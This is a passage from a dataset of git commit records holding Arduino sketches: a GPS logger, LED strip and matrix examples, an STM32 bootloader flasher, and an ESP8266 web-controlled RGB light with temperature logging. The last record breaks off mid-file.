logfile.print((int)GPS.fixquality);\n logfile.print(\",\"); \n logfile.print(GPS.latitude, 4); \n logfile.print(\",\");\n logfile.print(GPS.longitude, 4);\n logfile.print(\",\"); \n logfile.print(GPS.speed);\n logfile.print(\",\"); \n logfile.print(GPS.angle);\n logfile.print(\",\"); \n logfile.print(GPS.altitude);\n logfile.print(\",\"); \n logfile.println((int)GPS.satellites);\n logfile.flush();\n \n Serial.print(\"20\");\n Serial.print(GPS.year);\n Serial.print(\"-\");\n Serial.print(GPS.month, DEC);\n Serial.print(\"-\");\n Serial.print(GPS.day, DEC);\n Serial.print(\" \");\n Serial.print(GPS.hour, DEC);\n Serial.print(\":\");\n Serial.print(GPS.minute, DEC);\n Serial.print(\":\");\n Serial.print(GPS.seconds, DEC);\n Serial.print(\".\");\n Serial.print(GPS.milliseconds);\n Serial.print(\",\");\n Serial.print((int)GPS.fix);\n Serial.print(\",\");\n Serial.print((int)GPS.fixquality);\n Serial.print(\",\"); \n Serial.print(GPS.latitude, 4); \n Serial.print(\",\"); \n Serial.print(GPS.longitude, 4);\n Serial.print(\",\"); \n Serial.print(GPS.speed);\n Serial.print(\",\"); \n Serial.print(GPS.angle);\n Serial.print(\",\"); \n Serial.print(GPS.altitude);\n Serial.print(\",\"); \n Serial.println((int)GPS.satellites);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'analyses\/20140808_kayak_depth\/ino\/uno_gps\/uno_gps.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"50be42730047c5d46dbd1feda46824e2e0f0643f","subject":"add example","message":"add example\n","repos":"omninonsense\/ws2812b,omninonsense\/ws2812b","old_file":"examples\/rainbow.ino","new_file":"examples\/rainbow.ino","new_contents":"#include \"colour.h\"\n#include \"ws2812b.h\"\n\n#define DATA_PIN 13\n\n#define COLS 6\n#define ROWS 5\n#define COUNT (COLS*ROWS)\n\nWS2812B driver;\nColour matrix[COLS*ROWS];\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(DATA_PIN, OUTPUT);\n\n if (WS2812B_init(&driver, DATA_PIN, matrix, WS2812B_ZIGZAG_EVEN|WS2812B_GRB, COLS, ROWS)) {\n Serial.println(\"Error intiailising driver\");\n \/* Error handling goes here. *\/\n } else {\n Serial.println(\"WS2812B Driver loaded\");\n }\n\n \/\/ Set all LEDs to black (off)\n WS2812B_set_all(&driver, {0,0,0});\n WS2812B_sync(&driver);\n}\n\nvoid loop()\n{\n WS2812B_set_all(&driver, {0,0,0});\n WS2812B_sync(&driver);\n\n for (size_t i = 0; i < COUNT; ++i) {\n WS2812B_set_pixel_at_offset(&driver, i, colour_hsl(i*10, 100, 50));\n WS2812B_sync(&driver);\n delay(30);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/rainbow.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2978935a33a98f72806d87b221e77ae9e0866dee","subject":"increase baudrate when using h\/w serial","message":"increase baudrate when using h\/w serial\n","repos":"smurfix\/embello,tve\/embello,smurfix\/embello,tve\/embello,jeelabs\/embello,jeelabs\/embello,jeelabs\/embello,tve\/embello,smurfix\/embello,jeelabs\/embello,jeelabs\/embello","old_file":"projects\/ask\/stm32f1init\/stm32f1init.ino","new_file":"projects\/ask\/stm32f1init\/stm32f1init.ino","new_contents":"\/\/ Initialise an STM32F103 with a boot loader, embedded in this code.\n\/\/ MIT license, see https:\/\/github.com\/jeelabs\/embello -jcw, 2015-11-10\n\n#include <Arduino.h>\n\n#ifdef __AVR_ATmega328P__ \/\/ use a modified SoftwareSerial implementation\n#define USE_SOFT_PARITY 1\n#endif\n\n#if USE_SOFT_PARITY\n\n#include \"ParitySerial.h\"\n\n#define RX_PIN 4 \/\/ Arduino Digital.4, ATmega portD.4, ATMega328 pin.6\n#define TX_PIN 14 \/\/ Arduino Analog.0, ATmega portC.0, ATMega328 pin.23\nParitySerial Target (RX_PIN, TX_PIN); \/\/ defaults to even parity\n\n#define TIMEOUT 200000\n\n#else \/\/ assume an STM32F103 running at 72 MHz, with hardware serial\n\n#define Target Serial1\n#define TIMEOUT 800000\n\n#endif\n\n\/\/ only uncomment one of the boot loaders mentioned below (or add your own)\n\/\/#define BOOT_LOADER \"boot-maplemini-v20.h\"\n#define BOOT_LOADER \"boot-usbSerial-v01.h\"\n\/\/#define BOOT_LOADER \"boot-bmp-jc66-v01.h\"\n\nconst uint8_t data[] PROGMEM = {\n#include BOOT_LOADER\n};\n\nuint8_t check; \/\/ this checksum will get updated on each call to sendByte()\n\nenum { ACK = 0x79, NAK = 0x1F };\n\n\/\/ boot request codes sent to the target, based on STM's USART protocol\nenum {\n GET_CMD = 0x00,\n GETID_CMD = 0x02,\n WRITE_CMD = 0x31,\n ERASE_CMD = 0x43,\n EXTERA_CMD = 0x44,\n RDUNP_CMD = 0x92,\n};\n\n\/\/ get the specific data byte to send to the target\nstatic uint8_t getData (uint16_t index) {\n \/\/ this is equivalent to data[index] on ARM chips\n return pgm_read_byte(data + index);\n}\n\n\/\/ read a reply from the target, or return 0 after a certain amount of time\nstatic uint8_t getReply () {\n for (long i = 0; i < TIMEOUT; ++i)\n if (Target.available())\n return Target.read();\n return 0;\n}\n\n\/\/ wait for an ACK reply, else print an error message and halt\nstatic void wantAck () {\n uint8_t b = 0;\n \/\/ wait a bit longer than normal getReply() timeouts, if needed\n for (int i = 0; i < 5; ++i) {\n b = getReply();\n if (b == 0) {\n Serial.print('.'); \/\/ each retry prints a dot\n continue;\n }\n if (b != ACK)\n break;\n check = 0; \/\/ the global checksum is always cleared after an ACK\n return;\n }\n Serial.print(\" FAILED - got 0x\");\n Serial.println(b, HEX);\n while (true) ; \/\/ halt\n}\n\n\/\/ send a byte to the target and update the global checkum value\nstatic void sendByte (uint8_t b) {\n check ^= b;\n Target.write(b);\n}\n\n\/\/ send a command and wait for the corresponding ACK\nstatic void sendCmd (uint8_t cmd) {\n Serial.flush();\n sendByte(cmd);\n sendByte(~cmd);\n wantAck();\n}\n\n\/\/ special infinite loop to trigger target autobaud and wait for ACK or NAK\nstatic void connectToTarget () {\n#ifdef USE_SOFT_PARITY\n Target.begin(9600);\n#else \/\/ use serial port hardware, can run much faster\n Target.begin(115200, SERIAL_8E1);\n#endif\n\n uint8_t b = 0;\n do {\n Serial.print(\".\");\n Target.write(0x7F);\n b = getReply();\n } while (b != ACK && b != NAK); \/\/ NAK is fine, it's still a response\n}\n\n\/\/ boot loader request for the boot version, ignoring the rest\nstatic uint8_t getBootVersion () {\n sendCmd(GET_CMD);\n uint8_t n = getReply();\n uint8_t bootRev = getReply();\n for (int i = 0; i < n; ++i)\n getReply();\n wantAck();\n return bootRev;\n}\n\n\/\/ boot loader request for the chip type, as 16-bit int\nstatic uint16_t getChipType () {\n sendCmd(GETID_CMD);\n getReply(); \/\/ should be 1\n uint16_t chipType = getReply() << 8;\n chipType |= getReply();\n wantAck();\n return chipType;\n}\n\n\/\/ boot loader request for a mass erase of flash memory\nstatic void massErase () {\n#if 1\n sendCmd(ERASE_CMD);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0x00);\n wantAck();\n#else\n sendCmd(EXTERA_CMD);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0xFF);\n wantAck();\n#endif\n}\n\n\/\/ main sketch logic\nvoid setup () {\n Serial.begin(115200);\n Serial.print(\"[stm32f1init] \");\n Serial.println(BOOT_LOADER);\n Serial.println();\n Serial.println(\"(When you see a question mark: RESET your TARGET board!)\");\n Serial.println();\n\n Serial.print(\" Connecting? \");\n connectToTarget();\n Serial.println(\" OK\");\n\n uint8_t bootRev = getBootVersion();\n Serial.print(\"Boot version: 0x\");\n Serial.println(bootRev, HEX);\n\n uint16_t chipType = getChipType();\n Serial.print(\" Chip type: 0x\");\n Serial.println(chipType, HEX);\n\n Serial.print(\"Unprotecting: \");\n sendCmd(RDUNP_CMD);\n wantAck();\n Serial.println(\"OK\");\n\n Serial.print(\" Resuming? \");\n connectToTarget();\n Serial.println(\" OK\");\n\n Serial.print(\" Erasing: \");\n massErase();\n Serial.println(\"OK\");\n \n Serial.print(\" Writing: \");\n for (uint16_t offset = 0; offset < sizeof data; offset += 256) {\n Serial.print('+');\n sendCmd(WRITE_CMD);\n uint32_t addr = 0x08000000 + offset;\n sendByte(addr >> 24);\n sendByte(addr >> 16);\n sendByte(addr >> 8);\n sendByte(addr);\n sendByte(check);\n wantAck();\n sendByte(256-1);\n for (int i = 0; i < 256; ++i)\n sendByte(getData(i));\n sendByte(check);\n wantAck();\n }\n Serial.println(\" OK\");\n\n Serial.print(\" Done: \");\n Serial.print(sizeof data);\n Serial.println(\" bytes uploaded.\");\n}\n\nvoid loop () {}\n","old_contents":"\/\/ Initialise an STM32F103 with a boot loader, embedded in this code.\n\/\/ MIT license, see https:\/\/github.com\/jeelabs\/embello -jcw, 2015-11-10\n\n#include <Arduino.h>\n\n#ifdef __AVR_ATmega328P__ \/\/ use a modified SoftwareSerial implementation\n\n#include \"ParitySerial.h\"\n\n#define RX_PIN 4 \/\/ Arduino Digital.4, ATmega portD.4, ATMega328 pin.6\n#define TX_PIN 14 \/\/ Arduino Analog.0, ATmega portC.0, ATMega328 pin.23\nParitySerial Target (RX_PIN, TX_PIN); \/\/ defaults to even parity\n\n#define TIMEOUT 200000\n\n#else \/\/ assume an STM32F103 running at 72 MHz, with hardware serial\n\n#define Target Serial1\n#define TIMEOUT 800000\n\n#endif\n\n\/\/ only uncomment one of the boot loaders mentioned below (or add your own)\n\/\/#define BOOT_LOADER \"boot-maplemini-v20.h\"\n#define BOOT_LOADER \"boot-usbSerial-v01.h\"\n\/\/#define BOOT_LOADER \"boot-bmp-jc66-v01.h\"\n\nconst uint8_t data[] PROGMEM = {\n#include BOOT_LOADER\n};\n\nuint8_t check; \/\/ this checksum will get updated on each call to sendByte()\n\nenum { ACK = 0x79, NAK = 0x1F };\n\n\/\/ boot request codes sent to the target, based on STM's USART protocol\nenum {\n GET_CMD = 0x00,\n GETID_CMD = 0x02,\n WRITE_CMD = 0x31,\n ERASE_CMD = 0x43,\n EXTERA_CMD = 0x44,\n RDUNP_CMD = 0x92,\n};\n\n\/\/ get the specific data byte to send to the target\nstatic uint8_t getData (uint16_t index) {\n \/\/ this is equivalent to data[index] on ARM chips\n return pgm_read_byte(data + index);\n}\n\n\/\/ read a reply from the target, or return 0 after a certain amount of time\nstatic uint8_t getReply () {\n for (long i = 0; i < TIMEOUT; ++i)\n if (Target.available())\n return Target.read();\n return 0;\n}\n\n\/\/ wait for an ACK reply, else print an error message and halt\nstatic void wantAck () {\n uint8_t b = 0;\n \/\/ wait a bit longer than normal getReply() timeouts, if needed\n for (int i = 0; i < 5; ++i) {\n b = getReply();\n if (b == 0) {\n Serial.print('.'); \/\/ each retry prints a dot\n continue;\n }\n if (b != ACK)\n break;\n check = 0; \/\/ the global checksum is always cleared after an ACK\n return;\n }\n Serial.print(\" FAILED - got 0x\");\n Serial.println(b, HEX);\n while (true) ; \/\/ halt\n}\n\n\/\/ send a byte to the target and update the global checkum value\nstatic void sendByte (uint8_t b) {\n check ^= b;\n Target.write(b);\n}\n\n\/\/ send a command and wait for the coorresponding ACK\nstatic void sendCmd (uint8_t cmd) {\n Serial.flush();\n sendByte(cmd);\n sendByte(~cmd);\n wantAck();\n}\n\n\/\/ special infinite loop to trigger target autobaud and wait for ACK or NAK\nstatic void connectToTarget () {\n#ifdef __AVR_ATmega328P__ \/\/ use a modified SoftwareSerial implementation\n Target.begin(9600);\n#else \/\/ use serial port hardware, set to even parity\n Target.begin(9600, SERIAL_8E1);\n#endif\n\n uint8_t b = 0;\n do {\n Serial.print(\".\");\n Target.write(0x7F);\n b = getReply();\n \/\/Serial.print(b, HEX);\n } while (b != ACK && b != NAK); \/\/ NAK is fine, it's still a response\n}\n\n\/\/ boot loader request for the boot version, ignoring the rest\nstatic uint8_t getBootVersion () {\n sendCmd(GET_CMD);\n uint8_t n = getReply();\n uint8_t bootRev = getReply();\n for (int i = 0; i < n; ++i)\n getReply();\n wantAck();\n return bootRev;\n}\n\n\/\/ boot loader request for the chip type, as 16-bit int\nstatic uint16_t getChipType () {\n sendCmd(GETID_CMD);\n getReply(); \/\/ should be 1\n uint16_t chipType = getReply() << 8;\n chipType |= getReply();\n wantAck();\n return chipType;\n}\n\n\/\/ boot loader request for a mass erase of flash memory\nstatic void massErase () {\n#if 1\n sendCmd(ERASE_CMD);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0x00);\n wantAck();\n#else\n sendCmd(EXTERA_CMD);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0xFF);\n sendByte((uint8_t) 0xFF);\n wantAck();\n#endif\n}\n\n\/\/ main sketch logic\nvoid setup () {\n Serial.begin(115200);\n Serial.print(\"[stm32f1init] \");\n Serial.println(BOOT_LOADER);\n Serial.println();\n Serial.println(\"(When you see a question mark: RESET your TARGET board!)\");\n Serial.println();\n\n Serial.print(\" Connecting? \");\n connectToTarget();\n Serial.println(\" OK\");\n\n uint8_t bootRev = getBootVersion();\n Serial.print(\"Boot version: 0x\");\n Serial.println(bootRev, HEX);\n\n uint16_t chipType = getChipType();\n Serial.print(\" Chip type: 0x\");\n Serial.println(chipType, HEX);\n\n Serial.print(\"Unprotecting: \");\n sendCmd(RDUNP_CMD);\n wantAck();\n Serial.println(\"OK\");\n\n Serial.print(\" Resuming? \");\n connectToTarget();\n Serial.println(\" OK\");\n\n Serial.print(\" Erasing: \");\n massErase();\n Serial.println(\"OK\");\n \n Serial.print(\" Writing: \");\n for (uint16_t offset = 0; offset < sizeof data; offset += 256) {\n Serial.print('+');\n sendCmd(WRITE_CMD);\n uint32_t addr = 0x08000000 + offset;\n sendByte(addr >> 24);\n sendByte(addr >> 16);\n sendByte(addr >> 8);\n sendByte(addr);\n sendByte(check);\n wantAck();\n sendByte(256-1);\n for (int i = 0; i < 256; ++i)\n sendByte(getData(i));\n sendByte(check);\n wantAck();\n }\n Serial.println(\" OK\");\n\n Serial.print(\" Done: \");\n Serial.print(sizeof data);\n Serial.println(\" bytes uploaded.\");\n}\n\nvoid loop () {}\n","returncode":0,"stderr":"","license":"unlicense","lang":"Arduino"} {"commit":"66016da09db8d7eb27b2b25cc005585b8c52afea","subject":"Create custom_groups.ino","message":"Create custom_groups.ino","repos":"marmilicious\/FastLED_examples","old_file":"custom_groups.ino","new_file":"custom_groups.ino","new_contents":"\/\/***************************************************************\n\/\/ custom_groups.ino\n\/\/ Example of making custom groups for specific sets of LEDs.\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL \/\/ ***Update to your strip type. NEOPIXEL, APA102, LPD8806, etc.\n#define DATA_PIN 6 \/\/ ***Set this to your data pin number.\n#define NUM_LEDS 12 \/\/ ***Remember to set this to your strip length.\n#define MASTER_BRIGHTNESS 255 \/\/ Master brightness range is 0-255.\nCRGB leds[NUM_LEDS];\n\n\/\/ Specify the number of pixels and which pixels are in each custom group.\n\/\/ Rename these as needed to make sense for your project!\n#define NUM_GROUP_A 2 \/\/ The number of pixels in this custom group.\n#define NUM_GROUP_B 4 \/\/ The number of pixels in this custom group.\nuint8_t groupA[NUM_GROUP_A] = {0,5}; \/\/ The pixels in this custom group.\nuint8_t groupB[NUM_GROUP_B] = {1,2,3,4}; \/\/ The pixels in this custom group.\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n delay(1000); \/\/ Startup delay\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n FastLED.addLeds<LED_TYPE,DATA_PIN>(leds, NUM_LEDS); \/\/ ***For Clock-less strips.\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop () {\n \/\/ Initially set all pixels to a color.\n for (int i = 0; i < NUM_LEDS; i++) {\n leds[i] = CHSV(80,255,255);\n }\n FastLED.show();\n delay(1200);\n\n \/\/ Set the custom groups to some other colors.\n for (int i = 0; i < NUM_GROUP_A; i++) {\n leds[groupA[i]] = CRGB::Red;\n }\n\n for (int i = 0; i < NUM_GROUP_B; i++) {\n leds[groupB[i]] = CRGB::Yellow;\n }\n FastLED.show();\n delay(800);\n\n}\/\/end main loop\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'custom_groups.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1b8b74294389205af4f075d247a970be3c1d40b","subject":"Fucking github I lost my original single led server code !!!!","message":"Fucking github I lost my original single led server code !!!!\n\nWill have to start at new RGB version","repos":"sansillusion\/espLightServer","old_file":"espLightServerRGB.ino","new_file":"espLightServerRGB.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h>\n#include <ESP8266HTTPClient.h>\n#include <Ticker.h>\n#include <ESP8266mDNS.h>\n#include <OneWire.h>\n#include <DallasTemperature.h>\n#define ONE_WIRE_BUS D4\nString resetpass = \"YourResetPassword\"; \/\/ password to reset wifimanager when allready connected\nconst String thingkey = \"YOURTHINGSPEKKEY\"; \/\/your thingspeak API key\nString dernadd = \"Fraichement booté\"; \/\/variable for ip logging (you can put your fresh boot mesage here in text\/html)\nint pinRouge = D1; \/\/ pin for red leds\nint pinVerte = D7; \/\/ pin for green leds\nint pinBleu = D5; \/\/ pin for blue leds\nconst long interval = 60000; \/\/ interval in ms for sending temperature data to thingspeak\nconst String liens = \"<a href=\\\"\/\\\">Acceuil<\/a> - <a href=\\\"\/temp\\\">Température<\/a> - <a href=\\\"\/version\\\">Version<\/a> - <a href=\\\"\/reset\\\">Reset<\/a> - <a href=\\\"https:\/\/thingspeak.com\/channels\/289148\\\">Temp stats<\/a>\\n\"; \/\/ html\/links shown at bottom of pages\nESP8266WebServer server(80);\nString derncoul;\nlong r;\nlong g;\nlong b;\nint rouge = 0;\nint vert = 0;\nint bleu = 0;\nunsigned long previousMillis = 0;\nOneWire oneWire(ONE_WIRE_BUS);\nDallasTemperature sensors(&oneWire);\nint roulepastusuite = 0;\nTicker tiqueFade;\n\nconst String css = \"<style>.button1 {\\n\"\n \"background-color: #4CAF50;\\n\"\n \"border: none;\\n\"\n \"color: white;\\n\"\n \"padding: 15px 32px;\\n\"\n \"text-align: center;\\n\"\n \"text-decoration: none;\\n\"\n \"display: inline-block;\\n\"\n \"font-size: 24px;\\n\"\n \"margin: 4px 2px;\\n\"\n \"cursor: pointer; -webkit-transition-duration: 0.4s;\\n\"\n \"transition-duration: 0.4s; width: 80%;\\n}\\n\"\n \".button1:hover {\\n\"\n \"box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);\\n}\\n\"\n \"<\/style>\\n\";\n\nvoid fadeRGB() {\n if (r == rouge && g == vert && b == bleu) {\n tiqueFade.detach();\n\/\/ Serial.println(\"Stopping\");\n }\n for (int i = 0; i <= 2; i++) {\n int couleur;\n int tc;\n int pinouche;\n switch (i) {\n case 0:\n pinouche = pinRouge;\n tc = r;\n couleur = rouge;\n break;\n case 1:\n pinouche = pinVerte;\n tc = g;\n couleur = vert;\n break;\n case 2:\n pinouche = pinBleu;\n tc = b;\n couleur = bleu;\n break;\n }\n if (couleur < tc) {\n couleur++;\n analogWrite(pinouche, couleur);\n } else if (couleur > tc) {\n couleur--;\n analogWrite(pinouche, couleur);\n }\n switch (i) {\n case 0:\n rouge = couleur;\n break;\n case 1:\n vert = couleur;\n break;\n case 2:\n bleu = couleur;\n break;\n }\n }\n}\n\nvoid handleRoot() {\n String addy = server.client().remoteIP().toString();\n \/\/ Serial.println(\"\");\n \/\/ Serial.println(addy);\n String testteu = server.arg(\"COULEUR\");\n \/\/ Serial.println(testteu);\n if (testteu != 0) {\n derncoul = testteu;\n long number = strtol( &testteu[1], NULL, 16);\n \/\/ Split them up into r, g, b values\n r = number >> 16;\n g = number >> 8 & 0xFF;\n b = number & 0xFF;\n if (r != rouge) {\n \/\/ Serial.print(\"Rouge = \");\n \/\/ Serial.println(r);\n tiqueFade.attach_ms(40, fadeRGB);\n dernadd = addy;\n delay(5);\n }\n if (g != vert) {\n \/\/ Serial.print(\"Vert = \");\n \/\/ Serial.println(g);\n tiqueFade.attach_ms(40, fadeRGB);\n dernadd = addy;\n delay(5);\n }\n if (b != bleu) {\n \/\/ Serial.print(\"Bleu = \");\n \/\/ Serial.println(b);\n tiqueFade.attach_ms(40, fadeRGB);\n dernadd = addy;\n }\n }\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n if (server.args()) { \/\/ recharge la page \/ pour permetre d'appuyer refresh sans re-poster la form\n contenu += \"<meta http-equiv=\\\"refresh\\\" content=\\\"0;url=\/\\\" \/>\\n\";\n }\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere soit<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\"\n \"<form action=\\\"\/\\\" method=\\\"post\\\">\\n\"\n \"<h1>Change la couleur de mon bureau:<\/h1>\"\n \"<input type=\\\"color\\\" name=\\\"COULEUR\\\" value=\\\"\" + derncoul + \"\\\"><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Changer\\\">\\n\"\n \"<\/form>\\n<br>Dernier IP à avoir changé la couleur : \";\n contenu += dernadd;\n contenu += \"<br>\\n\";\n contenu += liens;\n contenu += \"<\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\nvoid handleReset() {\n int ouireset = 0;\n String addy = server.client().remoteIP().toString();\n \/\/ Serial.println(\"\");\n \/\/ Serial.println(addy);\n \/\/ Serial.println(\"!!! RESET PAGE !!!\");\n String testteu = server.arg(\"RESET\");\n String passme = server.arg(\"PASSME\");\n if (testteu == \"OUI\") {\n if (passme == resetpass) {\n ouireset = 1;\n } else {\n ouireset = 2;\n }\n }\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Que la lumiere se RESET<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n if (!ouireset) {\n contenu += \"<form action=\\\"\/reset\\\" method=\\\"post\\\">\\n\"\n \"<h1>Tu veux resetter le wifi network pour reconfigurer ?<\/h1>\"\n \"<input type=\\\"hidden\\\" name=\\\"RESET\\\" value=\\\"OUI\\\"><br>\\n\"\n \"<input type=\\\"password\\\" name=\\\"PASSME\\\" value=\\\"password\\\"><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Reset Wifi Network\\\">\\n\"\n \"<\/form>\\n\";\n } else if (ouireset != 1) {\n contenu += \"<form action=\\\"\/reset\\\" method=\\\"post\\\">\\n\"\n \"<h1>Tu veux resetter le wifi network pour reconfigurer ?<\/h1>\"\n \"<input type=\\\"hidden\\\" name=\\\"RESET\\\" value=\\\"OUI\\\"><br>\\n\"\n \"<input type=\\\"password\\\" name=\\\"PASSME\\\" value=\\\"password\\\"><br>\\n\"\n \"<h2>!!! MAUVAIS PASSWORD !!!<\/h2><br>\\n\"\n \"<input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Reset Wifi Network\\\">\\n\"\n \"<\/form>\\n\";\n \/\/ Serial.print(\"BAD PASSWORD : \");\n \/\/ Serial.println(passme);\n } else if (ouireset == 1) {\n contenu += \"<h1>Reset Dans 10 Secondes<\/h1>\\n\";\n }\n contenu += \"<br>Dernier IP à avoir changé la couleur :\";\n contenu += dernadd;\n contenu += \"\\n<br>\";\n contenu += liens;\n contenu += \"\\n<br><\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n if (ouireset == 1) {\n \/\/ Serial.println(\"Reset dans 10 secondes\");\n delay(10000);\n WiFiManager wifiManager;\n wifiManager.resetSettings();\n ESP.restart();\n }\n}\n\nvoid handleNotFound() {\n String addy = server.client().remoteIP().toString();\n \/\/ Serial.println(\"\");\n \/\/ Serial.println(addy);\n String htmlmessage = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n htmlmessage += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>404 Not found<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n htmlmessage += css;\n htmlmessage += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n htmlmessage += \"<h1>404 File Not Found<\/h1><br>\\n\";\n htmlmessage += \"URI: \";\n htmlmessage += server.uri();\n htmlmessage += \"<br>\\nMethod: \";\n htmlmessage += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n htmlmessage += \"<br>\\nArguments: \";\n htmlmessage += server.args();\n htmlmessage += \"<br>\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n htmlmessage += \" \" + server.argName(i) + \": \" + server.arg(i) + \"<br>\\n\";\n }\n htmlmessage += \"<br>\\n\";\n htmlmessage += liens;\n htmlmessage += \"<br>\\n<\/div><\/body><\/html>\\n\";\n server.send(404, \"text\/html\", htmlmessage);\n String message = \"404 File Not Found\\n\";\n message += \"URI: \";\n message += server.uri();\n message += \"\\nMethod: \";\n message += (server.method() == HTTP_GET) ? \"GET\" : \"POST\";\n message += \"\\nArguments: \";\n message += server.args();\n message += \"\\n\";\n for (uint8_t i = 0; i < server.args(); i++) {\n message += \" \" + server.argName(i) + \": \" + server.arg(i) + \"\\n\";\n }\n \/\/ Serial.print(message);\n}\n\nvoid updateTemp(String tempe) {\n if (tempe != \"-127.00\") {\n \/\/ Serial.print(\"Sending temp : \");\n \/\/ Serial.println(tempe);\n HTTPClient http;\n String webadd = \"http:\/\/api.thingspeak.com\/update?key=\";\n webadd += thingkey;\n webadd += \"&field1=\";\n webadd += tempe;\n http.begin(webadd);\n int httpCode = http.GET();\/\/Send the request\n if (httpCode > 0) { \/\/Check the returning code\n String payload = http.getString(); \/\/Get the request response payload\n \/\/ Serial.println(payload); \/\/Print the response payload\n }\n http.end(); \/\/Close connection\n }\n}\n\nvoid latemp() {\n sensors.requestTemperatures();\n float thetemp = sensors.getTempCByIndex(0);\/\/ Why \"byIndex\"? You can have more than one IC on the same bus. 0 refers to the first IC on the wire\n char buffer[10];\n String tempF = dtostrf(thetemp, 5, 2, buffer);\n updateTemp(tempF);\n}\n\nvoid handleTemp() {\n sensors.requestTemperatures();\n float latemp = sensors.getTempCByIndex(0);\n while (latemp == -127.00) {\n sensors.requestTemperatures();\n latemp = sensors.getTempCByIndex(0);\n }\n String addy = server.client().remoteIP().toString();\n \/\/ Serial.println(\"\");\n \/\/ Serial.println(addy);\n \/\/ Serial.print(\"Temperature : \");\n \/\/ Serial.println(latemp);\n String contenu = \"<!DOCTYPE html>\\n<html lang=\\\"en\\\" dir=\\\"ltr\\\" class=\\\"client-nojs\\\">\\n<head>\\n\";\n contenu += \"<meta charset=\\\"UTF-8\\\" \/>\\n<title>Quel chaleur<\/title>\\n\"\n \"<meta name=\\\"viewport\\\" content=\\\"width=device-width, initial-scale=1\\\">\\n\";\n contenu += css;\n contenu += \"<\/head>\\n<body>\\n\"\n \"<div style=\\\"text-align:center;width:100%;\\\">\\n\";\n contenu += \"<form action=\\\"\/\\\" method=\\\"get\\\">\\n\"\n \"<h1>Voici la temperature<\/h1>\"\n \"<h2>\";\n contenu += latemp;\n contenu += \"°C<\/h2><br>\\n<iframe width=\\\"450\\\" height=\\\"260\\\" style=\\\"border: 1px solid #cccccc;\\\" src=\\\"https:\/\/thingspeak.com\/channels\/289148\/charts\/1?bgcolor=%23ffffff&color=%23d62020&dynamic=true&results=60&type=line&update=15\\\"><\/iframe><input type=\\\"submit\\\" class=\\\"button1\\\" value=\\\"Go Home\\\">\\n\"\n \"<\/form>\\n\"\n \"<br>Dernier IP à avoir changé la couleur :\";\n contenu += dernadd;\n contenu += \"\\n<br>\";\n contenu += liens;\n contenu += \"\\n<br><\/div><\/body><\/html>\\n\";\n server.send(200, \"text\/html\", contenu);\n}\n\nvoid setup() {\n analogWriteRange(255);\n \/\/ analogWriteFreq(500);\n \/\/ Serial.begin(9600);\n pinMode(pinRouge, OUTPUT);\n pinMode(pinVerte, OUTPUT);\n pinMode(pinBleu, OUTPUT);\n digitalWrite(pinRouge, LOW);\n digitalWrite(pinBleu, LOW);\n digitalWrite(pinVerte, LOW);\n WiFiManager wifiManager;\n wifiManager.autoConnect();\n delay(500);\n if (!MDNS.begin(\"esp8266\")) {\n \/\/Serial.println(\"Error setting up MDNS responder!\");\n while (1) {\n delay(1000);\n }\n }\n server.on(\"\/\", handleRoot);\n server.on(\"\/reset\", handleReset);\n server.on(\"\/temp\", handleTemp);\n server.on(\"\/version\", []() {\n String addy = server.client().remoteIP().toString();\n \/\/Serial.println(\"\");\n \/\/Serial.println(addy);\n \/\/Serial.println(\"Version request\");\n server.send(200, \"text\/html\", \"V1.7, Steve Olmstead sansillusion@gmail.com\\n\\n<br><br>\"\n \"Added fader function\\nRemoved connection watchdog (better have good signal)\\n<br>\"\n \"Removed mDns (did not work 